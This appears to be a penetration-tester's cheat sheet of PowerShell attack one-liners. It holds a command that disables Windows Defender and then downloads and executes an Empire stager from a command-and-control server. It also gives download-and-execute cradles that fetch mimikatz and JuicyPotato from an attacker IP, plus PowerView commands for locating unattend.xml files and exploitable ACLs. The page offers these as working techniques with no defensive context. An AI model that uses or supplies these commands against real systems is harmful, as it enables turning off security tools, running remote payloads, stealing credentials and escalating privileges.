# random\_powershell

RANDOM POWERSHELL This works for disabling Windows Defender and running empire stager:

powershell -exec bypass Set-MpPreference -DisableRealtimeMonitoring $true && cmd /c "powershell -noninteractive -command IEX (New-Object Net.WebClient).DownloadString('[http://cloud.c2server.net:81/file2.ps1](http://cloud.c2server.net:81/file2.ps1)')"

Download Cradle

(new-object System.Net.Webclient).DownloadString('[http://192.168.50.34:8080/mimikatz.exe](http://192.168.50.34:8080/mimikatz.exe)')

Download Cradle and Execute

(new-object System.Net.Webclient).DownloadString('[http://192.168.50.34:8080/mimikatz.ps1](http://192.168.50.34:8080/mimikatz.ps1)') | IEX

Download EXE and place it

IEX (new-object System.Net.Webclient).DownloadFile('[http://192.168.50.34:8080/JuicyPotato.exe','C:\users\public\downloads\potato.exe](http://192.168.50.34:8080/JuicyPotato.exe','C:/users/public/downloads/potato.exe)')

PowerView - Find interesting files e.g., unattend.xml

Find-InterestingFile -Path 'C:\\' -Include 'unattend\*.xml'

Find-InterestingACL
